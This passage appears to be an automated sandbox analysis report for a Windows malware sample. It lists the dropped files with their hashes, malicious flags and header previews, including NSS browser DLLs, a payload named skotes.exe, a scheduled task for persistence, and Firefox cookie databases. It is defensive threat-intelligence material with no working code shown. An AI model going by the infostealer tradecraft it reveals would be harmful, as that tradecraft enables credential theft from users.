Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3254784
Entropy (8bit):	6.691339256637853
Encrypted:	false
SSDEEP:	98304:6aoaVIyOrkY+Cr6DyGUWRx6ohZ0NH9tD:6VDQqNH/
MD5:	44D9A6B93CD876C421A19439C8000ACA
SHA1:	421FFFAFF6668C1A4465C19536C26B605A2045F2
SHA-256:	5A060BBE4D1177ACADC7653907BF2BEB744EC3EE089F17A0429B2E8360AD0847
SHA-512:	4A2738C4D5F620C08FD3E0A2A320A947EC2D694F5A7B36BE91B374431F7262A643F52EC92497AF5DB57CD0E05F18F59AE9FF150494ACDA43A258AFB9534ECDA5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....p.1...@.................................W...k...........................4.1..............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...cqhmklqr..........................@...kzjbvhiv......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.379257130253928
Encrypted:	false
SSDEEP:	48:SfNaoQ1TEQsfNaoQTkQTWfNaoQJQFfNaoQ70UrU0U8Q+:6NnQ1TEQYNnQoQaNnQJQxNnQ70UrU0UW
MD5:	6844B379CD223DF7146F77809C07C0D7
SHA1:	DAE8E9F17214A37A7689FE68AF5DD1EE3B0A4BBF
SHA-256:	11BBA978F2157CD1B46D2047F53799F48A5F1A24D63CDD711D90F226A66A6E10
SHA-512:	14222A4D75AC151D4DC1C4D59C04D86FE2CA3CEFC84086343259DBC383C2D7F40213621DD509AB359B1BEF7FF2297B86E5CDA1557F07092F5805DD678F671AD0
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F9B2329C6F752A8ED9604B4CD4C92E08",.. "id": "F9B2329C6F752A8ED9604B4CD4C92E08",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F9B2329C6F752A8ED9604B4CD4C92E08"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EB8AFF72AD890EFAB7F8F6EFBAB3885A",.. "id": "EB8AFF72AD890EFAB7F8F6EFBAB3885A",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EB8AFF72AD890EFAB7F8F6EFBAB3885A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\HIDHIEGIII.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3254784
Entropy (8bit):	6.691339256637853
Encrypted:	false
SSDEEP:	98304:6aoaVIyOrkY+Cr6DyGUWRx6ohZ0NH9tD:6VDQqNH/
MD5:	44D9A6B93CD876C421A19439C8000ACA
SHA1:	421FFFAFF6668C1A4465C19536C26B605A2045F2
SHA-256:	5A060BBE4D1177ACADC7653907BF2BEB744EC3EE089F17A0429B2E8360AD0847
SHA-512:	4A2738C4D5F620C08FD3E0A2A320A947EC2D694F5A7B36BE91B374431F7262A643F52EC92497AF5DB57CD0E05F18F59AE9FF150494ACDA43A258AFB9534ECDA5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....p.1...@.................................W...k...........................4.1..............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...cqhmklqr..........................@...kzjbvhiv......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\HIDHIEGIII.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3254784
Entropy (8bit):	6.691339256637853
Encrypted:	false
SSDEEP:	98304:6aoaVIyOrkY+Cr6DyGUWRx6ohZ0NH9tD:6VDQqNH/
MD5:	44D9A6B93CD876C421A19439C8000ACA
SHA1:	421FFFAFF6668C1A4465C19536C26B605A2045F2
SHA-256:	5A060BBE4D1177ACADC7653907BF2BEB744EC3EE089F17A0429B2E8360AD0847
SHA-512:	4A2738C4D5F620C08FD3E0A2A320A947EC2D694F5A7B36BE91B374431F7262A643F52EC92497AF5DB57CD0E05F18F59AE9FF150494ACDA43A258AFB9534ECDA5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....p.1...@.................................W...k...........................4.1..............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...cqhmklqr..........................@...kzjbvhiv......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\HIDHIEGIII.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.422234997127429
Encrypted:	false
SSDEEP:	6:f4vfXUhXUEZ+lX1CGdKUe6tE9+AQy0lHNut0:A34Q1CGAFD9+nVH0t0
MD5:	6B38BD3A415574813C16EE417345034F
SHA1:	039EBF09CA0759965EB535B7DC1537880FD844C6
SHA-256:	FD148F1CC8390773BE520F616240E4BB73D16A138A8A3F9D02C41C2B5F10E263
SHA-512:	8DA571E91E92C2543177BBA531811C275D7BFB2913CEAD17F390EB304BACBEF96F266D00712606CEF5218447B3C5064C229791EFD5F29C8B6E5113535852DBB6
Malicious:	false
Preview:	....AS:P..;E...%.#..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3339)
Category:	downloaded
Size (bytes):	3344
Entropy (8bit):	5.84900491473763
Encrypted:	false
SSDEEP:	96:LdklirFd66666ru23LCGZ6g4UIG+B/AVTu+BadDpgUffffQo:BSuFd66666rubGZR4JNYGB
MD5:	1C032CDD90DDF63ABB907F0EECF2F149
SHA1:	3A008A0E860E5738F0B6B978FAF073BECAFC2E03
SHA-256:	659E9408470DE95CDDA9A950B18C839DDFE0E79A430A3F9E89A92AEE87E30768
SHA-512:	9BA4E0FE51A33BAE127757EFDCEF762FBABE811B74CDF4115761551CF5B674B132EB8450C8412C3A0C057AACEA0292D1505EABF964FEEB4D77857B90641FC61E
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt strands hints december 9","syrian arab airlines syr9218","heisman trophy odds","boss nine v8 crate user","college football playoff playoff bracket","1923 yellowstone prequel","refinance mortgage rates today","winter storm warning minnesota"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXM3ZnFqMnNnEhUxOTIzIOKAlCBEcmFtYSBzZXJpZXMyxw1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQ0F3RUJBUUFBQUFBQUFBQUFBQUFGQmdJREJBY0JBUC9FQURJUUFBRURBZ1FFQkFVREJRQUFBQUFBQUFFQ0F4RU

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132984
Entropy (8bit):	5.436014959095191
Encrypted:	false
SSDEEP:	3072:fmkX33ov7GsG688fJbk/5xns/LWjwR2i6o:fZ3lr6t2/5xns/awR8o
MD5:	5288978868D863E4CA8A453F42A47D0A
SHA1:	7EBBE0CF2E60F93BD257D49179E1C699CC924D6B
SHA-256:	6038EB260D766DC732260DAE795DCA90E0B64D0621B1FBC8591341503EDE7CC6
SHA-512:	131A3F584927D122DF08807F2DE2925D4A5C644D4330FCAE1988193466D79699689A0A7F7174D4AD8B49FF802EFA2E077CC6E1058053D8413AFB2E60A784A907
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	174954
Entropy (8bit):	5.550148947243928
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGha9VMRWInJ+LBIwK555ypuq/dP/JlpNMWzeAxaPIa:eKR1tw+9+i7GFhJcha/MRWIJ+LBIwK5n
MD5:	8DF81901713526C08F170352ACB79008
SHA1:	E1E30358A27E0A475AD0576FC9AE389FD95B49BB
SHA-256:	681F8E5F962B4D48083A1313B3B7978E6906B9C526AA488A4B42EA1EA97B8358
SHA-512:	E82BB4618D69A9F95EF7CDBAA380C34563725803F326F572FCE88E30F51577E75B1D701D86EE63E273A7D65A8ACDDA601FBB83EE079080634CBBE2B3B583A14A
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
